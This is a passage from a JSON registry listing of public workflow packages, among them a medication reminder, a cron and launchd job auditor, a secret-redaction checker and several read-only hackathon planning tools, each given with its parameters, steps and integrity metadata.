reminder and caregiver alert workflow designed to help parents and elderly family members who may forget or miss their medicines. Sons, daughters, or caregivers can configure each medicine with its name, dosage, scheduled time, and simple instructions. The workflow automatically manages the schedule and sends timely, easy-to-understand Telegram reminders, helping elderly users remember what medicine to take and when, while keeping their family involved in supporting a regular medication routine.\n","owner":{"kind":"user","slug":"bavya21"},"registry_organization":"bavya21","tags":["healthcare","medication","family-safety","caregivers","telegram"],"primary_domain":"domain-uncategorized","author":"bavya21","version":"0.3.0","published_at":"2026-09-05T18:51:47.930457+00:00","visibility":"public","quality_score":1,"size_bytes":7593,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":1,"names":["dispatch_alert"]},"parameters":[{"name":"TELEGRAM_BOT_TOKEN","type":"string","required":true,"description":"Telegram Bot API token"},{"name":"TELEGRAM_CHAT_ID","type":"string","required":true,"description":"Telegram destination chat ID"},{"name":"PATIENT_NAME","type":"string","required":true,"description":"Name of the parent or family member receiving medication"},{"name":"MEDICINE","type":"string","required":true,"description":"Medicine name"},{"name":"DOSAGE","type":"string","required":true,"description":"Medicine dosage"},{"name":"MEDICATION_TIME","type":"string","required":true,"description":"Scheduled medication time, for example 08:30"},{"name":"INSTRUCTIONS","type":"string","required":false,"description":"Medication instructions"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:695fa785c8529281dca277ee842299148970ce902dcad4da95debe65de7235d4","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/shadow-scheduler@0.8.3","reference":"lgoyal6/shadow-scheduler@0.8.3","uri":"https://play.modiqo.ai/lgoyal6/shadow-scheduler@0.8.3","manifest_uri":"https://play.modiqo.ai/lgoyal6/shadow-scheduler@0.8.3","name":"shadow-scheduler","title":"shadow-scheduler","description":"Finds every recurring job that runs behind your back, grouped by what it actually does rather than which scheduler owns it. Reads launchd agents and daemons, the user crontab, and GitHub Actions schedule triggers, normalises all three to a single shape with an estimated runs-per-day, then surfaces the findings that matter: the same effect scheduled twice by different systems, jobs whose target binary or script no longer exists, and the heaviest consumers of your machine. Read-only, no credentials, nothing is executed or unloaded.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","operations-workflows","job-scheduler-audit","tool-launchd","effect-read-only","scheduled-jobs","cron","crontab","launchd-agents","github-actions-schedule","duplicate-schedule","missing-target-binary","runs-per-day","machine-load","shadow-automation","audience-sre","audience-developers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.8.3","published_at":"2026-09-05T17:12:54.653074+00:00","visibility":"public","quality_score":1,"size_bytes":19528,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Directory to search for repositories with scheduled CI workflows","example":"/Users/you/your-repo"},{"name":"depth","type":"string","required":false,"default":"3","description":"How many directory levels below root to search for repositories","example":"3"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:70d52f87ea32f6549706c2d6f517dca299b228ea6a41eb5f1340e85298fcc700","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":12,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/mohitp/jobwatch@0.1.4","reference":"mohitp/jobwatch@0.1.4","uri":"https://play.modiqo.ai/mohitp/jobwatch@0.1.4","manifest_uri":"https://play.modiqo.ai/mohitp/jobwatch@0.1.4","name":"jobwatch","title":"jobwatch","description":"Scans RemoteOK and We Work Remotely every morning, scores each listing against your skills and preferences, filters out spam and duplicates, and produces a short daily brief of only the new matches you haven't seen before. No account needed, no data leaves your machine. Keeps a small local memory file (~/.jobwatch/memory.json) between runs to avoid repeating job listings you've already seen.","owner":{"kind":"org","slug":"mohitp"},"registry_organization":"mohitp","tags":["job-search","daily-brief"],"primary_domain":"domain-uncategorized","author":"Mohitpargaie01","version":"0.1.4","published_at":"2026-09-05T14:43:20.952737+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":19573,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":3,"names":["fetch_wwr","normalize","fetch_remoteok"]},"parameters":[{"name":"skills","type":"string","required":true,"description":"Comma-separated list of your skills to match jobs against (e.g. \"python,react,node\"). Only jobs mentioning at least one of these in their title or tags will appear in your brief."},{"name":"seniority","type":"string","required":false,"default":"","description":"Your experience level (e.g. \"mid\", \"senior\"). When set, jobs matching your level score higher. Leave blank to skip seniority matching."},{"name":"location","type":"string","required":false,"default":"remote","description":"Your location preference — \"remote\", \"hybrid\", \"onsite\", or \"any\". Defaults to \"remote\" so only remote-eligible jobs are surfaced."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:82d412384acda63efff1c32aa680795711412db1d3158101736251a1ccb5aa7d","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/bhanu82/catch-sneaky-changes@0.2.1","reference":"bhanu82/catch-sneaky-changes@0.2.1","uri":"https://play.modiqo.ai/bhanu82/catch-sneaky-changes@0.2.1","manifest_uri":"https://play.modiqo.ai/bhanu82/catch-sneaky-changes@0.2.1","name":"catch-sneaky-changes","title":"catch-sneaky-changes","description":"Catch secret files, deleted code, or hidden changes your AI agent made without telling you. Compares your workspace before and after an agent session so nothing unexpected slips into your code. Four parallel probes (baseline, lockfiles, Git, listeners) join into one verdict. Zero setup, zero API keys, 100% safe and read-only.","owner":{"kind":"user","slug":"bhanu82"},"registry_organization":"bhanu82","tags":["effect-read-only","domain-agent-operations","job-side-effect-audit","audience-developers","agent-governance","workspace-safety"],"primary_domain":"domain-agent-operations","author":"bhanu82","version":"0.2.1","published_at":"2026-09-05T13:41:42.566757+00:00","visibility":"public","quality_score":1,"size_bytes":37209,"license":"MIT","stats":{"downloads":5,"installs":0},"steps":{"count":5,"names":["probe_git","join_census","probe_files","probe_listeners","capture_baseline"]},"parameters":[{"name":"root","type":"string","required":false,"default":"","description":"Absolute path of the workspace to observe; relative paths are refused because a step runs in rote's workspace, not your shell directory. Empty runs the offline samples comparison.","example":"/home/user/my-repo"},{"name":"before_stamp","type":"string","required":false,"default":"","description":"Path to a prior JSON snapshot; when present, the current workspace is compared with it","example":"census-before.json"},{"name":"after_stamp","type":"string","required":false,"default":"","description":"Path to a second JSON snapshot, used with before_stamp instead of probing the live workspace","example":"resources/samples/after.json"},{"name":"after_dir","type":"string","required":false,"default":"","description":"Directory containing before.json and after.json snapshots for an offline comparison","example":"resources/samples"},{"name":"snapshot_path","type":"string","required":false,"default":"","description":"Explicit output path used only when capturing a baseline; it must be outside root","example":"census-before.json"},{"name":"claimed_summary","type":"string","required":false,"default":"","description":"What the agent said it did; matching path names, listener ports, or Git/lockfile terms mark effects as mentioned","example":"Read repository docs and wrote reports/brief.md."},{"name":"include_listeners","type":"boolean","required":false,"default":"true","description":"Observe local TCP listening ports through /proc when available","example":"true"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:9c44035afdc0ee7f760a9e85d8215997a7e7b10b0b0a07aa83756b7053014ec4","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":4,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/dezloper/safe-to-share@0.1.2","reference":"dezloper/safe-to-share@0.1.2","uri":"https://play.modiqo.ai/dezloper/safe-to-share@0.1.2","manifest_uri":"https://play.modiqo.ai/dezloper/safe-to-share@0.1.2","name":"safe-to-share","title":"safe-to-share","description":"Checks whether text is safe to paste into an issue, a chat, or an AI, and then prints the redacted version you can actually send. With no argument it checks your uncommitted git diff, which is what you are most likely about to share. Give it a file or a folder to check that instead. It looks for four kinds of leak: credentials (12 key shapes plus bearer and basic auth headers, cookies, passwords embedded in URLs, and API keys in query strings); other people's data (email addresses, phone numbers, and card numbers validated with Luhn so ordinary 16 digit ids are not reported); your internal network (private IP addresses, .internal and .corp hostnames, staging and QA URLs, and database connection strings); and your own identity (home directory paths that expose your username, your machine hostname, ssh and aws and kube config paths). It deliberately does not report things that only look alarming: a git SHA or an SRI hash is not a secret, 127.0.0.1 and 8.8.8.8 and 1.1.1.1 are not your infrastructure, and example.com and noreply addresses are not a person. Everything it flags, it also blanks in the redacted output, so the report and the safe copy never disagree. Secret values are shown only in redacted form. Read only, offline, no credentials: it reads what you point it at, writes nothing, and the redacted copy is printed rather than saved. Use it as a privacy and PII check before pasting: it finds personal data and credentials in logs, diffs and config, and gives you the redacted text back.","owner":{"kind":"user","slug":"dezloper"},"registry_organization":"dezloper","tags":["domain-engineering","engineering-workflows","audience-developers","effect-read-only","job-secret-detection","job-redaction"],"primary_domain":"domain-engineering","author":"rote clean-room authoring","version":"0.1.2","published_at":"2026-09-05T11:32:39.677717+00:00","visibility":"public","quality_score":1,"size_bytes":13838,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":7,"names":["assess","redact","scan_people","scan_network","scan_identity","validate_input","scan_credentials"]},"parameters":[{"name":"target","type":"string","required":false,"default":"","description":"A file or folder to check. Defaults to your uncommitted git diff.","example":"deploy.log"},{"name":"max_redacted_lines","type":"string","required":false,"default":"120","description":"How many lines of the safe-to-paste copy to print per source.","example":"200"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:8d4ea97efef21be822515f72e0e6489c320d3d749efe0a5a301eb73aa5c3c43a","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":7,"kinds":{"api":0,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":5,"fan_out":0,"for_each_steps":0,"complexity":7,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/minimum-working-demo@0.2.22","reference":"sakshamsai26/minimum-working-demo@0.2.22","uri":"https://play.modiqo.ai/sakshamsai26/minimum-working-demo@0.2.22","manifest_uri":"https://play.modiqo.ai/sakshamsai26/minimum-working-demo@0.2.22","name":"minimum-working-demo","title":"minimum-working-demo","description":"Find a conservative rescue path from a local project’s current static evidence to one end-to-end demo journey. Read-only; never executes the project.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.2.22","published_at":"2026-09-05T08:58:45.922717+00:00","visibility":"public","quality_score":1,"size_bytes":5428,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":13,"names":["plan","risks","scope","boundary","classify","evidence","planning","inventory","preflight","constraints","dependencies","verification","write_report"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute project directory"},{"name":"hours","type":"string","required":true,"description":"Time remaining"},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project files."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:80db23a3f556c5b0d21441298f4a740361f9a1d82a021397f50d8e55484b925a","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":13,"kinds":{"api":0,"shell":13,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":13,"fan_out":0,"for_each_steps":0,"complexity":13,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":13}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/integration-readiness-check@0.2.22","reference":"sakshamsai26/integration-readiness-check@0.2.22","uri":"https://play.modiqo.ai/sakshamsai26/integration-readiness-check@0.2.22","manifest_uri":"https://play.modiqo.ai/sakshamsai26/integration-readiness-check@0.2.22","name":"integration-readiness-check","title":"integration-readiness-check","description":"Compare bounded static route signals from local frontend and backend directories before integration. Read-only; response behavior remains UNKNOWN unless evidenced.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.2.22","published_at":"2026-09-05T08:58:45.17262+00:00","visibility":"public","quality_score":1,"size_bytes":5734,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":9,"names":["check","scope","boundary","classify","inventory","preflight","constraints","verification","write_report"]},"parameters":[{"name":"frontend","type":"string","required":true,"description":"Absolute frontend directory"},{"name":"backend","type":"string","required":true,"description":"Absolute backend directory"},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project files."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:9d68c81787921d51286c8b3e6c82ce7c2ad56ed61bda5328a1d808fd382556fe","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":9,"kinds":{"api":0,"shell":9,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":9,"fan_out":0,"for_each_steps":0,"complexity":9,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":9}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/copy-paste-debt-finder@0.2.23","reference":"sakshamsai26/copy-paste-debt-finder@0.2.23","uri":"https://play.modiqo.ai/sakshamsai26/copy-paste-debt-finder@0.2.23","manifest_uri":"https://play.modiqo.ai/sakshamsai26/copy-paste-debt-finder@0.2.23","name":"copy-paste-debt-finder","title":"copy-paste-debt-finder","description":"Identify potential duplication evidence for review without claiming similar code is necessarily debt. Read-only: no project code execution, writes, network calls, or secret values.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write","optional-local-report-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.2.23","published_at":"2026-09-05T08:40:26.918978+00:00","visibility":"public","quality_score":1,"size_bytes":8560,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":13,"names":["risks","scope","analyze","boundary","classify","inventory","preflight","dependencies","verification","write_report","recommendations","parallel_targets","parallel_evidence"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute local repository or project directory"},{"name":"context","type":"string","required":true,"description":"Relevant feature"},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project files."},{"name":"parallel_file_limit","type":"string","required":false,"default":"24","description":"Maximum safe repository files to inspect concurrently for supplemental evidence, from 1 to 100. Files are selected deterministically, dependency/vendor directories and symlinks are excluded, and no file content or environment value is printed. Lower limits make file-level coverage PARTIAL."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:9fdf36cd1d7ac48f382e492c7978ab8e58715023b1d1419aab90a3fac3a54898","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":13,"kinds":{"api":0,"shell":13,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":11,"fan_out":8,"for_each_steps":1,"complexity":13,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":13}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/feature-flag-graveyard@0.2.23","reference":"sakshamsai26/feature-flag-graveyard@0.2.23","uri":"https://play.modiqo.ai/sakshamsai26/feature-flag-graveyard@0.2.23","manifest_uri":"https://play.modiqo.ai/sakshamsai26/feature-flag-graveyard@0.2.23","name":"feature-flag-graveyard","title":"feature-flag-graveyard","description":"Classify feature-flag evidence as active, forced, undocumented, duplicated, or possibly obsolete. Read-only: no project code execution, writes, network calls, or secret values.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write","optional-local-report-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.2.23","published_at":"2026-09-05T08:34:06.843618+00:00","visibility":"public","quality_score":1,"size_bytes":8528,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":13,"names":["risks","scope","analyze","boundary","classify","inventory","preflight","dependencies","verification","write_report","recommendations","parallel_targets","parallel_evidence"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute local repository or project directory"},{"name":"context","type":"string","required":true,"description":"Relevant feature"},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project files."},{"name":"parallel_file_limit","type":"string","required":false,"default":"24","description":"Maximum safe repository files to inspect concurrently for supplemental evidence, from 1 to 100. Files are selected deterministically, dependency/vendor directories and symlinks are excluded, and no file content or environment value is printed. Lower limits make file-level coverage PARTIAL."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:4867254557e43182d04d43c92c1b6bbd7672a97a04dfe8fe574ec04a9865d869","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":13,"kinds":{"api":0,"shell":13,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":11,"fan_out":8,"for_each_steps":1,"complexity":13,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":13}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/frontend-state-planner@0.2.23","reference":"sakshamsai26/frontend-state-planner@0.2.23","uri":"https://play.modiqo.ai/sakshamsai26/frontend-state-planner@0.2.23","manifest_uri":"https://play.modiqo.ai/sakshamsai26/frontend-state-planner@0.2.23","name":"frontend-state-planner","title":"frontend-state-planner","description":"Plan the complete UI state model for a feature: initial, loading, success, empty, validation failure, API failure, unauthorized, offline, and timeout. Read-only planning only; no network or code generation.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write","optional-local-report-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.2.23","published_at":"2026-09-05T08:33:51.706095+00:00","visibility":"public","quality_score":1,"size_bytes":7150,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":10,"names":["plan","scope","boundary","classify","inventory","preflight","constraints","dependencies","verification","write_report"]},"parameters":[{"name":"feature","type":"string","required":true,"description":"Feature or page description; exclude credentials."},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project files."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:b3986397e8423b1eb752eecc7e669f77ec2439bb738dc92b179eefc6703cec65","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":10,"kinds":{"api":0,"shell":10,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":9,"fan_out":0,"for_each_steps":0,"complexity":10,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":10}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/screenshot-to-bug-brief@0.2.23","reference":"sakshamsai26/screenshot-to-bug-brief@0.2.23","uri":"https://play.modiqo.ai/sakshamsai26/screenshot-to-bug-brief@0.2.23","manifest_uri":"https://play.modiqo.ai/sakshamsai26/screenshot-to-bug-brief@0.2.23","name":"screenshot-to-bug-brief","title":"screenshot-to-bug-brief","description":"Turn a screenshot description and project context into a developer-ready bug brief. Read-only: no project code execution, writes, network calls, or secret values.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write","optional-local-report-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.2.23","published_at":"2026-09-05T08:33:50.115194+00:00","visibility":"public","quality_score":1,"size_bytes":8244,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":12,"names":["scope","analyze","boundary","classify","inventory","preflight","constraints","dependencies","verification","write_report","parallel_targets","parallel_evidence"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute local repository or project directory"},{"name":"context","type":"string","required":true,"description":"Relevant feature"},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project files."},{"name":"parallel_file_limit","type":"string","required":false,"default":"24","description":"Maximum safe repository files to inspect concurrently for supplemental evidence, from 1 to 100. Files are selected deterministically, dependency/vendor directories and symlinks are excluded, and no file content or environment value is printed. Lower limits make file-level coverage PARTIAL."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:0a80ed16e252faec9add5f364c18d6ed23de0a99bbccf0157cb6a66311103e6d","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":12,"kinds":{"api":0,"shell":12,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":10,"fan_out":8,"for_each_steps":1,"complexity":12,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":12}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/demo-script-builder@0.2.23","reference":"sakshamsai26/demo-script-builder@0.2.23","uri":"https://play.modiqo.ai/sakshamsai26/demo-script-builder@0.2.23","manifest_uri":"https://play.modiqo.ai/sakshamsai26/demo-script-builder@0.2.23","name":"demo-script-builder","title":"demo-script-builder","description":"Build a timed hackathon demo sequence with problem opening, feature order, narration during waits, strongest moment, fallback, and closing.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write","optional-local-report-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.2.23","published_at":"2026-09-05T08:33:31.845887+00:00","visibility":"public","quality_score":1,"size_bytes":8744,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":10,"names":["scope","script","boundary","classify","inventory","preflight","constraints","dependencies","verification","write_report"]},"parameters":[{"name":"project","type":"string","required":true,"description":"Project and core demo flow."},{"name":"duration","type":"string","required":true,"description":"Demo duration in minutes."},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project files."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:f2e54c063a7c9060fcbf14808c37889adec47b95c1621f336cbe4370e9b043b4","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":10,"kinds":{"api":0,"shell":10,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":9,"fan_out":0,"for_each_steps":0,"complexity":10,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":10}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/hackathon-scope-cutter@0.2.23","reference":"sakshamsai26/hackathon-scope-cutter@0.2.23","uri":"https://play.modiqo.ai/sakshamsai26/hackathon-scope-cutter@0.2.23","manifest_uri":"https://play.modiqo.ai/sakshamsai26/hackathon-scope-cutter@0.2.23","name":"hackathon-scope-cutter","title":"hackathon-scope-cutter","description":"Cut an ambitious hackathon idea into a demo-critical end-to-end slice, useful-if-time-remains work, cuts, dependencies, and an honest finish line.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write","optional-local-report-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.2.23","published_at":"2026-09-05T08:33:15.802831+00:00","visibility":"public","quality_score":1,"size_bytes":9440,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":9,"names":["cut","scope","boundary","classify","inventory","preflight","constraints","verification","write_report"]},"parameters":[{"name":"idea","type":"string","required":true,"description":"Project idea and feature list."},{"name":"team","type":"string","required":true,"description":"Team size as a positive number."},{"name":"hours","type":"string","required":true,"description":"Available build hours."},{"name":"demo","type":"string","required":true,"description":"Desired demo moment."},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project 